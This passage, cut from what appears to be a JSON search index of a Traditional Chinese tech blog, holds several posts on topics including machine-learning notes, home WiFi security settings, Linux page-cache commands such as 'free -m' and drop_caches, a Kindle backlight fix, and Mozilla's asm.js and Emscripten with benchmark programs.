id=\"the-normal-equations\"\u003eThe Normal Equations\u003c/h3\u003e\n\u003cp\u003e要找 \\(J\\) 的最小值除了 gradient descent 演算法之外，還有許多方式，這裡介紹另一個方法，使用這個方法直接使用 explict 的方式算出最小值，這樣可以不需要使用遞迴的方式。\u003c/p\u003e","title":"史丹佛大學機器學習（Machine Learning）上課筆記（二）"},{"content":"Google 最近推出了「Google 臺灣防災地圖」，這個地圖整合了很多台灣政府各級單位的災害預報、災情警報資訊等等，在常常有颱風的夏天應該是很實用。\n在有颱風的時期進入這個網站，就會看到基本的颱風路徑與預報。\n如果想看颱風的侵襲機率，可以點選「颱風侵襲機率」：\n當然這些颱風的觀測資料與預測的結果都是來自於中央氣象局（CWB），這裡只是整理這些資訊而已，除了颱風路徑之外，也可以看雷達回波圖：\n雷達回波圖還可以調整它的圖層透明度，這樣在查閱的時候可以動態調整透明度來觀看。\n如果想看台灣各條溪流出海口的潮汐水位觀測數值，有沒有超出警戒線可以勾選颱風暴潮觀測：\n除了中央氣象局的資料之外，他也從水土保持局、水利署、公路總局等機構搜集各類的警告資訊，例如公路封閉的資訊：\n公路封閉的部分，分為災害性封閉、預警性封閉，你可以在地圖上看到全台灣各地的公路封閉狀態，如果要出門人，看這個就很方便了。\n而颱風如果要出門，除了颱風動向之外，交通狀況也是大家最關心的議題，這個地圖也加入這個功能：\n這部分的資訊都是來自於 Google 地圖的交通資訊。\n如果你是住在山區的人或是要前往山區的人，也應該會關心土石流的消息，水土保持局會根據降雨的狀況，發佈土石流警戒的河流，也就是土石流潛勢溪流：\n如果你想把這個 Google 臺灣防災地圖放在自己的網頁中，也可以使用他的內崁功能：\n","permalink":"https://blog.gtwang.org/funny/google-crisismap/","summary":"\u003cp\u003eGoogle 最近推出了「Google 臺灣防災地圖」，這個地圖整合了很多台灣政府各級單位的災害預報、災情警報資訊等等，在常常有颱風的夏天應該是很實用。\u003c/p\u003e\n\u003cp\u003e在有颱風的時期進入這個網站，就會看到基本的颱風路徑與預報。\u003c/p\u003e","title":"Google 臺灣防災地圖：整理颱風動態與災情相關資訊"},{"content":"這裡整理了一張如何成為資料科學家（Data Scientist）的行程規劃圖，其中包含各種領域以及其中主要的技術，如果你想研究這方面的技術，這張圖就很值得的你參考。\n在資訊爆炸的時代隨著的資料量的增加，如何處理與分析這些資料是一個前所未有的問題，要做一個稱職的資料科學家不是件容易的事情，他牽涉到各種不同的領域，從基本簡單的數學理論、大量資料、程式設計到統計、機器學習與資料視覺化等等，要能夠熟練這些領域的技巧不是一朝一夕能夠達成的。\n以下這張圖是由 Swami Chandrasekaran 所繪製的，他將一般資料科學家應該具備的能力整理成一張捷運地圖。\n這張捷運地圖分為十條幹線，分別為：\n基礎技能（Fundamentals） 統計（Statistics） 程式設計（Programming） 機器學習（Machine Learning） 文字採礦/自然語言處理（Text Mining / Natural Language Processing） 資料視覺化（Data Visualization） 大量資料（Big Data） Data Ingestion Data Munging 工具（Toolbox） 每一條幹線都是一個領域，而幹線上每個站都是領域中的一個主題，當你想選擇一個領域開始學習時，就從起點出發，經過的每一站就是你要學習的主題。\n當然這中間你也可以藉由幹線的分岔點轉到另一條幹線上，學習另一個領域的技術，等到你走完一整條幹線的全程，那你在該領域所具備的能力應該就足夠了。\n如果你仔細看其中每一個領域的每個主題，你就會發現大部分的主題與技術來自於資訊工程與統計科學兩個科系，參雜少數幾個屬於其他科系的主題（如數學系），但是即便你在大學裡面修完這三個科系的所有課程，也未必能夠學到所有的主題，甚至有些大學裡面根本是不會教的，所以就一般人而言，要具備這些技能不是件容易的事情。\n這張圖中所收錄的軟體工具都是以開放原始碼的自由軟體為主，當然如果你自己擁有一些商用軟體，像是 SPSS 或 SAS Enterprise Miner 等，你也可以自己使用這些商用軟體來代替圖中的自由軟體。\n要成為一位資料科學家絕對是一條漫長的旅程，而這張圖就是這趟旅程的導覽圖。\n參考資料 Thinking in Systems ","permalink":"https://blog.gtwang.org/statistics/becoming-a-data-scientist/","summary":"\u003cp\u003e這裡整理了一張如何成為資料科學家（Data Scientist）的行程規劃圖，其中包含各種領域以及其中主要的技術，如果你想研究這方面的技術，這張圖就很值得的你參考。\u003c/p\u003e","title":"如何成為一位資料科學家（Data Scientist）？處理 Big Data 的專家"},{"content":"這裡整理了一些可以加強一般 WiFi 無線網路安全性的方法，並解釋無線網路安全的重要性對於日常生活中使用網路的影響在哪裡。\n全世界現在大約有四分之一的網路使用者在家使用 WiFi 無線網路，但是大多數人都不太了解該如何保護自己的無線網路安全，以及他的重要性在哪裡。簡單地說，自己家中的 WiFi 無線網路就好像你家的大門一樣，你一定會希望這道門既堅固又安全，足以保護自己家中的財產不被外人偷走。\n當資料在位加密的 WiFi 無線網路上傳遞時，你所傳送或接收的任何資料都有可能被附近的人攔截下來，甚至在附近的人也可以直接使用你的無線網路，搶走你的網路頻寬，讓你的網路連線速度變慢。而把無線網路加密之後，你就可以避免上面這些問題，讓你的資料比較不容易被竊聽，也可以保護到使用網路的電腦不受到外界的威脅。\n這是 Google 錄製的一段無線網路安全（wireless security）的教學影片，簡單介紹為什麼無線網路要加密。\n如果你對於加強你的 WiFi 無線網路有興趣，以下是一些可以讓你的無線網路更安全的辦法。\n檢查你的 WiFi 無線網路是否已經有加密 你的朋友在使用你的 WiFi 無線網路時，是否需要輸入密碼之後才能使用？如果不需要輸入密碼就可以使用的話，那就代表你的無線網路根本沒有任何加密保護，有就是說你家附近的任何人都可以使用你的無線網路！\n縱使你的無線網路需要輸入密碼才能使用，但是無線網路加密的方式也有分好幾種，不同的加密方式在安全性上就有差異，有些加密方式比較可靠，但有些比較早期的加密方式就比較差。若要知道自己的無線網路是使用哪一種加密演算法，可以查看自己的 WiFi 設定（通常在 WiFi 路由器的設定界面中應該都有），常見的加密方式應該有 WEP、WPA 或 WPA2，WEP 是最老舊的無線網路加密方式，它的保護能力是最薄弱的，而 WPA 則是比 WEP 好一些，WPA2 則是最好的。\n將你的 WiFi 無線網路設定為 WPA2 加密 如果你的 WiFi 路由器沒有將加密方式設定為 WPA2，那麼你最好更改一下你的設定，將其設定為最新的 WPA2，如果你對這些設定不是很在行，可以查閱你的 WiFi 路由器說明書或是上網查詢對應你的 WiFi 路由器的線上手冊，找出和設定無險網路加密的方式，然後去更改它。\n在 2006 牛之後生產的 WiFi 路由器都應該會有支援最新的 WPA2 加密方式，如果你的 WiFi 路由器是 2006 年以前的，那建議是更換一台新的 WiFi 路由器，這樣會比較安全而且也會比較快。\n為 WiFi 無線網路設定比較複雜的密碼 除了選擇最新的 WPA2 加密方式之外，你還需要設定一組密碼來保護你的無線網路，最安全的密碼應該要包含英文、數字與一些特殊符號，而且長路不可以太短，這樣才能避免被別人猜中密碼。\n如果你的無線網路是架設在自己的家中，那麼你就可以很放心的把密碼寫下來，放在一個不會不見的地方，這樣可以預防忘記密碼的麻煩，若有朋友來你家要使線網路時，你就可以直接把這個密碼給他，他就好像你家的大門鎖匙，你只會交給你所信任的人使用。\n將 WiFi 路由器設定密碼 現在市售的 WiFi 路由器大部分都有網頁管理界面，而這個管理界面都一定會有一組密碼，如果你沒有設定密碼或是直接使用預設的密碼，都是很危險的事情，在網路上的任何人都可以更改你的 WiFi 路由器設定，甚至攻擊你的網路與電腦、竊取資料等等。\n在管理界面中都會提供你設定密碼的功能，請記得自己設定一組新的密碼，而這個密碼也不要跟 WiFi 加密所使用的密碼相同，因為如果相同，則所有使用 WiFi 網路的人都可以更改 WiFi 路由器的設定，這也不是件好事情。\n以上就是關於 WiFi 無線網路的一些安全性議題，如果你的 WiFi 路由器說明書不見了，你可以上 Google 直接查詢你的 WiFi 路由器設備的型號，通常都可以找到線上手冊供你查閱（不過通常應該都是英文的），或是直接打電話詢問廠商，請求協助。\n下面這個是 Google 提供的一小段無線網路安全的教學影片。\n參考資料 Google Official Blog ","permalink":"https://blog.gtwang.org/tips/securing-your-wifi-network/","summary":"\u003cp\u003e這裡整理了一些可以加強一般 WiFi 無線網路安全性的方法，並解釋無線網路安全的重要性對於日常生活中使用網路的影響在哪裡。\u003c/p\u003e\n\u003cp\u003e全世界現在大約有四分之一的網路使用者在家使用 WiFi 無線網路，但是大多數人都不太了解該如何保護自己的無線網路安全，以及他的重要性在哪裡。簡單地說，自己家中的 WiFi 無線網路就好像你家的大門一樣，你一定會希望這道門既堅固又安全，足以保護自己家中的財產不被外人偷走。\u003c/p\u003e","title":"如何加強 WiFi 無線網路的安全性？"},{"content":"這裡介紹如何設定 Adobe Acrobat Reader 開啟高反差功能，讓一般的 PDF 檔可以變成黑底綠字（或黑底白字），讓閱讀 PDF 文件更輕鬆，眼睛也比較不會疲累。\n一般的 PDF 文件都是白底黑字的居多，就像這樣：\n有時候看個幾頁還好，若是要看整本書就很痛苦了，長期盯著白底黑字的螢幕看，看到後來眼睛會很累。\n幸好 Adobe Acrobat Reader 有考慮到這一點，本身就有內建自定文字與背景顏色的功能，調整之後就可以讓眼睛越讀起來更舒服，唯一的缺點就是顏色跟原本的文件不同（因為調整過當然不一樣啦），有時候可會比較醜一點，但是其實在很多狀況下我們不是要看漂亮的，尤其是研究生看論文，其實只是看一堆文字與公式，票不漂亮根本不是重點，但因為不知道這個功能就只好無奈的直接看。\n以下介紹如何設定 Adobe Acrobat Reader 開啟高反差功能，自行調整 PDF 的文字與背景顏色，讓閱讀文件更輕鬆。\nStep 1\n打開 Adobe Acrobat Reader 的偏好設定。\nStep 2\n選擇「協助工具」，然後選擇「取代文件色彩」，在這裡你就可以自行指定 PDF 文字與背景的顏色了。\n基本上如果是一般文字的閱讀，可以直接選擇「使用高對比度色彩」，然後選擇高對比度的色彩組合，個人是喜歡黑色背景、綠色文字的組合。\n其他也有黃色文字與白色文字的組合。\n當然如果這些預設組合你都不喜歡，你也可以自定色彩，像是這樣：\n有這樣的自定色彩功能，在閱讀 PDF 的時候，就會比較輕鬆了。\n","permalink":"https://blog.gtwang.org/tips/adobe-acrobat-reader-high-contrast-color/","summary":"\u003cp\u003e這裡介紹如何設定 Adobe Acrobat Reader 開啟高反差功能，讓一般的 PDF 檔可以變成黑底綠字（或黑底白字），讓閱讀 PDF 文件更輕鬆，眼睛也比較不會疲累。\u003c/p\u003e\n\u003cp\u003e一般的 PDF 文件都是白底黑字的居多，就像這樣：\u003c/p\u003e","title":"Adobe Acrobat Reader 的高反差功能：高對比度色彩讓閱讀 PDF 文件更輕鬆、不傷眼睛"},{"content":"這裡 Linux 記憶體中的記憶體快取（Cache Memory）是什麼，並討論相關的一些指令用法。\n在 Linux 中系統會將暫時沒有用到的記憶體借來當作磁碟的快取（cache），而在用 top 指令看系統的 free 的記憶體時，感覺記憶體好像所剩無幾，有些人就會以為 Linux 系統把記憶體吃光光了，然後就推測這樣系統會用到 swap 記憶體，效能也會跟著下降，但其實不是這樣的，而且真正的情況剛好相反。\n實際上 Linux 系統拿沒有用到的記憶體當作硬碟的快取，可以會讓整個系統的效能提昇很多，而且沒有任何副作用（除了讓一些不了解的人很緊張之外），它只是「暫時」把沒有用到的記憶體借來用一下而已，當有程式需要記憶體時，系統就會馬上把記憶體拿回來給需要記憶體的程式使用，完全沒有霸佔記憶體的問題。\n有些人也會擔心這樣的機制會不會讓系統使用到 swap 記憶體？事實上這也不用擔心，快取只會用到暫時沒有使用 RAM，並不會使用到 swap 來作為快取（使用 swap 也沒什麼意義，因為 swap 就是在磁碟上，不會比較快）。\n至於有時候整個系統中沒有在執行什麼程式，而用 top 與 free 指令查看記憶體使用狀況時，會顯示很大一部分的記憶體是 used 的狀態，不懂的人就會感覺很奇怪，這其實是對於他的意義有些誤解，我們用下面這個表來解釋：\n記憶體狀態 你的認知 Linux 系統的認知 正在被應用程式使用 Used Used 可以被應用程式使用，但被暫時借去做別的用途 Free Used 沒有被使用 Free Free 會出問題就在於記憶體暫時借去做別的用途時（像硬碟快取），Linux 系統會顯示 used，但是大部分人應該會認為這部份的記憶體應該顯示為 free，就是因為這個落差，導致很多人誤以為系統的記憶體被吃光，換句話說，那些被標示為 used 的記憶體其實包含被拿去作為快取的部份，而這些部份其實在程式需要時是可以馬上拿回來的，所以可以被一般應用程式使用的記憶體會比你想像的要多一些。\n既然看一般的 top 輸出的 free 記憶體不太準，那到底要如何知道我們實際上真正可以用的記憶體有多少呢？其實可以使用 free 指令來看，只是在看他的輸出的時候，要知道看哪一個欄位：\nfree -m 輸出為：\ntotal used free shared buffers cached Mem: 3953 3154 799 0 135 990 -/+ buffers/cache: 2029 1924 Swap: 3813 0 3813 若要看實際上應用程式可用的記憶體就看 -/+ buffers/cache 這一行的 free 這一欄有多少就是了，我們這裡使用 -m 參數，所以這裡的單位都是 MB，以這個例子來說就是還有 1924 MB 可以使用，而如果你只是單純看上面的 Mem 那一行，你可能會以為系統只剩下 799 MB 的記憶體了。\n除了使用 free 指令之外，也可以使用比較直覺的 htop 工具，它類似 top 指令，但是有更人性化的輸出，下面這個是他的使用畫面：\n其中 Mem 的部份就會顯示目前的記憶體使用狀況，而它會以不同顏色表示不同的記憶體的使用狀況，像快取的話就會使用黃色表示，這樣可以讓管理者更容易看出整體記憶體的狀況。\n網路上有很多清除快取記憶體的教學，這些動作其實對於整個系統效能是沒有幫助的，甚至你把硬碟快取強制清除之後，因為沒有快取的輔助，導致有些資料還要重新從硬碟讀取，反而讓整體效能更差也不一定，而且重點是不管你有沒有去手動釋放快取記憶體，只要你的程式需要記憶體時，都可以馬上使用這些記憶體空間，所以跟本不需要多花這些力氣。\n以下是手動清除快取記憶體的方式，這裡只是純粹的討論技術，這個部份通常一般人是沒有什麼機會需要用到的，除非你有一些很特殊的需求，而且在做這些動作之前，你應該要很清楚自己在做什麼與需要什麼。\n要釋放 Linux 的記憶體快取，可以透過更改 /proc/sys/vm/drop_caches 這個檔案的內容來達到，當這個檔案內容被設為 1 時，是表示要求 Linux 釋放沒在使用的一般性快取（pagecache），而設為 2 時，則代表要求釋放 dentry 與 inode 所使用到的快取，若設為 3 則是釋放所有的快取（也就是包含 1 與 2 的狀況）。\n在設定時，也可以加上 sync 指令，讓一些沒有寫入硬碟的資料先寫入之後，才將快取釋放，另外這個指令會需要 root 權限，所以整個完整的指令就會像這樣：\nsudo sh -c \u0026#34;sync; echo 3 \u0026gt; /proc/sys/vm/drop_caches\u0026#34; 如果不想使用 echo，也可以用 sysctl 指令的方式：\nsudo sysctl vm.drop_caches=3 最後再強調一次，這個釋放快取的動作在大部分的狀況是沒有什麼好處的，所以如果你要使用，請先搞清楚這是在做什麼。\n","permalink":"https://blog.gtwang.org/linux/linux-cache-memory-linux/","summary":"\u003cp\u003e這裡 Linux 記憶體中的記憶體快取（Cache Memory）是什麼，並討論相關的一些指令用法。\u003c/p\u003e\n\u003cp\u003e在 Linux 中系統會將暫時沒有用到的記憶體借來當作磁碟的快取（cache），而在用 \u003ccode\u003etop\u003c/code\u003e 指令看系統的 free 的記憶體時，感覺記憶體好像所剩無幾，有些人就會以為 Linux 系統把記憶體吃光光了，然後就推測這樣系統會用到 swap 記憶體，效能也會跟著下降，但其實不是這樣的，而且真正的情況剛好相反。\u003c/p\u003e","title":"Linux 的記憶體快取（Cache Memory）功能：Linux 系統把記憶體用光了？"},{"content":"今天突然發現我的 Amazon Kindle Paperwhite 在關機時，背光竟然還是亮的！讓我下一跳，原本想說這個設計怎麼那麼爛，上網查的才發現根本不是這樣，關機的時候應該是不會亮的。\n最近因為比較忙，之前買的 Kindle Paperwhite 就放著沒在用，今天一拿出來看發現電池少了一半，嚇了一跳，明明沒有用它，電量卻減少那麼多，結果檢查一下發現問題在於 Kindle 關機時，他的背光竟然還是亮的！不管我用手動按下電源鈕或是蓋上保護套自動關機的方式都一樣，他就是會一直亮，難怪他的電一下就用掉那麼多。\n後來上網研究一下，發現這可能是軟體的 bug，把 Kindle 重新開機有可能就可以解決了。以下是我的處理方式。\n首先選擇主選單的「Settings」：\n進到「Settings」畫面之後，再打開一次這裡的主選單，然後選擇「Restart」：\n然後 Kindle Paperwhite 就會重新開機，等個幾分鐘，Kindle 開機完成之後，又會回到正常的畫面，而我的背光關不掉的問題就好了，如果你的 Kindle 也有類似的奇怪問題，可以試試看這樣的方式。\n","permalink":"https://blog.gtwang.org/life/amazon-kindle-paperwhite-backlight-problem/","summary":"\u003cp\u003e今天突然發現我的 Amazon Kindle Paperwhite 在關機時，背光竟然還是亮的！讓我下一跳，原本想說這個設計怎麼那麼爛，上網查的才發現根本不是這樣，關機的時候應該是不會亮的。\u003c/p\u003e","title":"亞馬遜電子書閱讀器 Amazon Kindle Paperwhite 關機時背光還會亮的問題"},{"content":"Mozilla 為了讓 JavaScript 執行得更快，因此發展了 asm.js 這個架構，在這個架構下，可以讓 JavaScript 的程式執行的效率提升很多，甚至可以很接近原生（native）程式的執行效能！\nasm.js 本質上是屬於 JavaScript 的一部分，可以看成是簡單版的 JavaScript，在使用上跟一般的 JavaScript 比起來會有些限制，但是執行效能卻非常好，在某些狀況下幾乎可以跟原生程式的執行速度差不多，這樣的執行效能基本上已經可以符合在瀏覽器上任何的應用程式需求了，以下我們將詳細討論相關的細節。\nJavaScript 的效能演進 在 2008 年以前，JavaScript 在瀏覽器中的執行效能可以說是非常差勁，但是因為當時會使用 JavaScript 來開發的程式都不大，計算量也非常小，所以在那個時代中，JavaScript 跑的很慢並不會造成困擾。\n但在 2008 年左右，因為 web application 的發展，JavaScript 的效能成為一個不小的問題，尤其是在發展大型的 rich application platform 時，更是吃緊。\n這時候 Google 釋出了裝載 V8 JavaScript 引擎的 Chrome 瀏覽器，而同一時期，Apple 也發展出具有 Nitro 引擎的 Safari 4，這些引擎的出現帶給 JavaScript 一個展新的時代，讓 JavaScript 透過 JIT（just-in-time）編譯獲得很高的執行效能。這兩種引擎的特點是可以將 JavaScript 轉換為 CPU 可以直接執行的原生程式碼，在這樣的加速之下，可以讓 JavaScript 的執行速度提升三倍以上。\nMozilla 與 Microsoft 也不甘示弱，在 2009 年 Mozilla 在 Firefox 3.5 中加入了 TraceMonkey，而 Microsoft 在 2011 年釋出 Chakra。\n雖然 JIT 可以讓 JavaScript 可以有非常高的加速倍率，但是它也有它的限制，而問除是出在 JavaScript 本身的語言特性，造成它很難被最佳化。\n在 C 與 C++ 這類的語言中，所有的物件在編譯時都已經可以確定它的類別，而 Java 與 C# 這類的語言增加了一些彈性，但基本上的概念都差不多，這類的程式語言通常稱為強型別（strong type）語言。但是 JavaScript 就不是這樣，它是屬於弱型別（weak type）的語言，其物件型別是可以動態轉換的，這樣的狀況對於 JIT 來說是一大挑戰，若要處理這樣動態的型別轉換，JIT 所產生的可執行程式就必須很保守，這樣才能因應各種轉換的情況，而且也可能造成一些額外的 bugs。\n由於 JavaScript 的語言特性，讓瀏覽器的開發者很頭痛，他們極盡所改善 JavaScript 引擎的執行效率，但是最後卻被 JavaScript 語言本身的限制卡住，畢竟 JavaScript 這種語言不是設計拿來做高效能運算的。\n突破 JavaScript 效能限制 由於 JavaScript 天生的缺陷，導致大家都往改變 JavaScript 本身的方向來發展，第一個出現的就是 Google Dart，它也是一種 scripting 語言，跟 JavaScript 的用途相同，語法也相似，但是將一些 JavaScript 中會影響效能的部分拿掉。\nGoogle 原本的構想是想將 Dart 整合進瀏覽器，當瀏覽器支援的時候就使用 Dart 引擎執行，碰到不支援的瀏覽器則將 Dart 程式碼轉換為 JavaScript 來執行。Google 自己也發展了一個 Dartium 瀏覽器，它是一個 Chromium 瀏覽器的分支，然後加入 Dart 引擎的成品。\n但是就實際面來說，讓網頁與瀏覽器的開發者接受一個全新的語言並沒有那麼容易，而且 JavaScript 行之有年，在短時間之內不可能消失，在這樣的狀況下加入一個新語言只會讓開發過程更加複雜而已。\nasm.js Mozilla 則是以不同的方向嘗試處理 JavaScript 效能問題，他不直接發展新的語言，而是定義一個比較嚴格的 JavaScript 子集合（subset），透過很多的限制，讓你避開很多 JavaScript 中難以最佳化的部分，例如物件導向的建立等，而這個子集合就稱為 asm.js。\nasm.js 不直接使用 JavaScript 的物件與類別，而是產生一個很長的陣列，使用這個陣列來管理自己記憶體的使用，而這不代表 asm.js 不能使用物件或類別，而是如果要使用物件與類別的話，你必須以類似 C++ 編譯器的方式來使用，在 C++ 程式中，在記憶體中的物件一般是以 v-table（一個儲存類別中所有函數的表格）的記憶體位址與此物件所屬的資料來表示，而在 asm.js 中也是使用類似的方式，在陣列中儲存一連串的物件，而每個物件其實就是 v-table 的陣列索引以及物件的資料。\n在 asm.js 所使用的資料形別會比較明確，傳統的 JavaScript 語言中，並不會明確指定數值的型別，一個數值有可能在某些情況是整數，而有些時候是浮點數，其型別會依據不同的操作而有不同，例如 JavaScript 可以允許你對一個浮點數進行位元運算（bitwise operations），當這樣的狀況發生時，其實 JavaScript 會把這個浮點數自動轉換成整數，然後再進行位元運算，由於這樣的轉換是隱式的（implicit），所以這個狀況對於 JIT 而言很麻煩，編譯器無法很安全的將某個數值變數視為某一種固定的型別。而 asm.js 則是使用顯式（explicit）的方式，明確指定某個數值變數應該是整數會是浮點數。\n這樣的表示方式是屬於比較低階的寫法，在傳統上的 JavaScript 程式中不常看見，但雖然它的寫法很奇怪，但是它也是 JavaScript 語言，而他那個很長的陣列是使用比較新的 JavaScript 技術：typed arrays，這個技術原本是為了 WebGL 而設計的，但後來每個支援 JavaScript 的瀏覽器都可以使用（包含沒有 WebGL 支援的 Internet Explorer 10 也可以）。至於數值形態的指定，也是使用 JavaScript 本身的語法：「bitwise or with zero」，也就是強迫 JavaScript 將數值視為整數，但不會改變數值本身的值。\n由於 asm.js 的設計上就是以 JavaScript 為基礎，它本身就可以在一般的瀏覽器中執行，不像 Dart 語言還需要額外的 Dart 引擎，或是需要將 Dart 轉換為 JavaScript 才能執行，所以 asm.js 在相容性上比較沒有問題。\n功能少、效能高 如果瀏覽器本身有明確支援 asm.js 的架構的話，就可以很容易使用它的特性來對使用 asm.js 的程式做最佳化，而支援 asm.js 的 JavaScript 引擎也會知道 asm.js 程式不可以使用哪些 JavaScript 功能，所以它可以產生更有效率的程式。\n一般的 JavaScript JIT 必須要考慮很多動態型別的狀況，而 asm.js 因為本來就禁止使用這些功能，所以其 JIT 就可以不用浪費力氣在處理這些問題。\n在 asm.js 這樣簡化的架構下，沒有任何動態的轉型、記憶體配置與回收等動作，只剩下少數 well-defined 的整數與浮點數運算子，所以它可以達到非常好的最佳化效能。\n因為 asm.js 犧牲了一些功能換取較高的執行速度，所以用它寫出來的程式就有點類似組合語言（assembly language）的感覺，能用的功能很少，所以程式碼常常或寫得又臭又長，而且不好閱讀，很多時候甚至 asm.js 會比真正的組合語言更難用，這可能也是它取名為 asm.js 的原因之一。\n事實上 Mozilla 並不是想讓開發者直接使用 asm.js 撰寫程式，而是像一般正常的開發流程一樣，使用其他的高階語言撰寫程式碼之後，再使用編譯器編譯成 asm.js 的程式。\n目前最常用的高階語言是 C 或 C++，而用來產生 asm.js 程式的編譯器則是 Emscripten，它也是 Mozilla 的一個專案。Emscripten 是一個以 LLVM 編譯器架構與 Clang C/C++ front-end 為基礎所發展出來的編譯器，Clang 編譯器會讀取 C 或 C++ 語言的原始碼，並產生一種獨立於平台、類似組合語言的 LLVM IR（LLVM Intermediate Representation），它可以視為可執行程式的半成品，接著再使用後端的程式產生器（backend code generator）來產生真正可以執行的程式，傳統上程式產生器會輸出 x86 的機械碼，但在使用 Emscripten 時，則是會產生 JavaScript 的程式。\nEmscripten 有兩種輸出模式可以使用，一種是直接產生一般的 JavaScript，另外一種則是輸出 asm.js 的 JavaScript，但不管是哪一種模式，其輸出的 JavaScript 程式碼都不是給人閱讀用的（會感覺非常雜亂）。而其輸出的一般 JavaScript 程式也是跟 asm.js 的概念類似，都是使用一個很大的陣列來存放所有的資料，而所有的計算與操作都是在這上面進行，透過這樣的方式也可以幫助 asm.js 的開發，而 asm.js 其實就是最後發展出來的標準規格，規定 JavaScript 程式碼應該怎麼寫。\n以上就是 asm.js 架構的說明，但究竟 asm.js 的執行速度有多快？接下來有一些使用 Emscripten 的測試報告，可以告訴你 asm.js 與原生程式的差異。\n繼續閱讀：[asm.js 架構與 Emscripten 編譯器 \u0026ndash; Mozilla 在網頁上發展出接近原生（Native）程式效能的 JavaScript 程式（二）](/web-development/asm-js-emscripten-2/。\n","permalink":"https://blog.gtwang.org/web-development/asm-js-emscripten-1/","summary":"\u003cp\u003eMozilla 為了讓 JavaScript 執行得更快，因此發展了 asm.js 這個架構，在這個架構下，可以讓 JavaScript 的程式執行的效率提升很多，甚至可以很接近原生（native）程式的執行效能！\u003c/p\u003e","title":"asm.js 架構與 Emscripten 編譯器：Mozilla 在網頁上發展出接近原生（Native）程式效能的 JavaScript 程式（一）"},{"content":"上一篇我們介紹了 asm.js 架構的說明，這裡我們直接來看以實際的程式所測試出來的標竿分析（benchmarking）。\n標竿分析（Benchmarking） 標竿分析（benchmarking）是一個棘手的問題，在實際的問題中有很多應用程式可以用來做標竿分析，但是因為我們的瀏覽器環境有許多限制，像是有限制的網路環境、儲存空間、顯示卡語音效裝置等等，所以我們這裡只選擇一些比較單純的程式來測試。\n首先，我們測試 Whetstone、Dhrystone 與 LINPACK 這三個程式。\nWhetstone 是一個浮點運算的標竿分析，它早在 1972 年就已經出現的，這個標竿分析當時是英國國家物理實驗室（National Physical Laboratory）用來測量科學計算程式用的，裡面包含一些簡單的運算：數值陣列的加法與減法、三角函數、指數函數與平方根。\nDhrystone 是在 1984 年發展出來的標竿分析（這個名字是參考 Whetstone 來的），其測試的範圍包含現今一般程式會使用的整數運算、函數呼叫、字串處理與陣列存取等。\nDhrystone 常用的版本有兩個，一個是舊的 1.x 系列，另外一個是 1988 年之後發展的 2.x 系列版本。Dhrystone 2.x 是設計用來跟 1.x 版比較用的，在 2.x 版本中其程式碼特別經過設計，可以避免讓編譯器做一些最佳化的動作，在函數呼叫上，Dhrystone 2.x 特別將原始程式碼分成不同的檔案，以避免 C 編譯器在做最佳化時，自動把耗時的函數呼叫改為內崁的方式。\n但是這樣的作法在 1988 年那個時候也不是很有效，甚至到現在這樣的方式已經完全沒有作用了，現在的編譯器很聰明，縱使你的程式碼分成好幾個檔案，它還是有辦法做最佳化。在這樣的狀況下，我們有兩種選擇，一種是在程式碼中加入適當的 pessimizations 讓編譯器不要做最佳化，另外一種則是明確告知大家編譯器會做的最佳化有哪些，在這裡我們選擇使用 Dhrystone 1.x 的程式並且也讓大家知道編譯器會做很多最佳化的動作，這樣的測試方式在比較不同的機器時可能會有問題，但若只是單純要看不同編譯器之間的差異時，是沒有影響的。\nDhrystone 與 Whetstone 這兩個程式都是比較老舊的標竿分析程式，所以在某些方面會有些限制，像在比較新的電腦硬體上，它會將所有的資料都放進快取（cache）中計算，這樣一來就無法測試處理器與記憶體之間資料傳輸的效能，但縱使如此，這些標竿分析程式還是有一定的用處。例如他的程式很小就是一個優點，這樣可以讓它在很多低階的處理器上面執行，尤其是一些嵌入式的系統。\n原始的 LINPACK 標竿分析程式是另一個浮點數運算測試程式（可以追溯到 1979 年），但與 Dhrystone 與 Whetstone 不同的是，LINPACK 的計算是比較有意義的，它是用於解線性方程式以及計算一些跟數值矩陣相關的問題。另外 LINPACK 也被擴充至現今的系統上，其矩陣的大小可以比以前更大，在 Top500 上的超級電腦也常常使用 LINPACK 作為評比的標準，而在超級電腦中常用的 HPL 也是根據 LINPACK 發展而來的。\n這三種標竿分析程式在網路上都有寫好的 C 語言版本，我們使用 Roy Longbottom 的版本，然後稍微修改一下，讓它們可以在我們的電腦中編譯，並且拿掉一些不必要的 I/O 與牽涉到低階硬體的部份。\n這三種測試基本上都試圖表達「每秒的執行效能」，LINPACK 的輸出是 FLOPS（floating point operations per second），而 Dhrystone 是輸出 VAX MIPS，這是用於 DEC VAX 11/780 這種舊電腦的效能衡量標準，VAX 11/780 表示機器可以達到一個 MIPS（million of instructions per second），這樣的速度可以每秒執行 Dhrystone 這個程式 1757 次，而在 Dhrystone 測試上得到兩個 VAX MIPS 指的就是這個系統在執行 Dhrystone 這個程式的效能比 VAX 11/780 快上兩倍。Whetstone 所使用的衡量標準為 WIPS（Whetstone Instructions Per Second），它的概念也是類似這樣。\n接著我們使用 STREAM 這個記憶體頻寬標竿分析（memory bandwidth benchmark），雖然這種測試不應該直接用於 JavaScript 引擎，但是它應該可以讓我們了解使用大記憶體陣列與直接使用一般記憶體之間的差異。其測試的內容包含四個：記憶體陣列的複製、讀取與搬移，以及經過一些計算之後寫入輸出的結果，而他的輸出則會有四個分數分別對應四種不同的測試，單位為 MB/s（megabytes per second）。\n在這四種標竿分析測試中，較高的分數代表較好的效能。\n近代的標竿分析 其餘的標竿分析是來自於 Computer Language Benchmarks Game，這些標竿分析會針對同一個問題提供各種語言版本的測試程序，有些是來自於真正的問題，例如使用常規表示法（regular expression）來比對 DNA 序列，而外一些則只是單純測試用的程式，沒有實際的用途。每個人都可以傳送各式各樣的程式碼上去，有些測試程式還同時包含一般的版本與依照平台最佳化之後的版本。\n基本上在測試每個問題時，會以最受歡迎的純 C++ 語言的實作為主，而版本的話會排除 SSE 函數，因為這些函數會使用 explicit multithreading，而使用 OpenMP 的 implicit multithreading 部份則還是可以使用，因為我們在執行時可以直接關閉 OpenMP 的功能，讓它變成單一執行序的程式。\n我們並沒有使用 Benchmarks Game 上面所有的測試程式，其中 chamenos-redux 與 threadring 這兩個是 explicit multithreading 的方式，而 k-nucleotide 則是只有 multithread 版本，像這些都無法在瀏覽器中使用。\n排除那些無法使用的，我們選用的測試程式有：fasta、reverse-complement 與 regex-dna 這三個，然後用這三個測試程式組合成一個完整的效能測試，fasta 測試程式是用於產生 FASTA 檔案格式的 隨機 DNA 序列（pseudo-random DNA sequences），reverse-complement 測試程式是用於讀取 DNA 序列並輸出它的反向對偶（reverse complement），而 regex-dna 測試程式則是用於搜尋 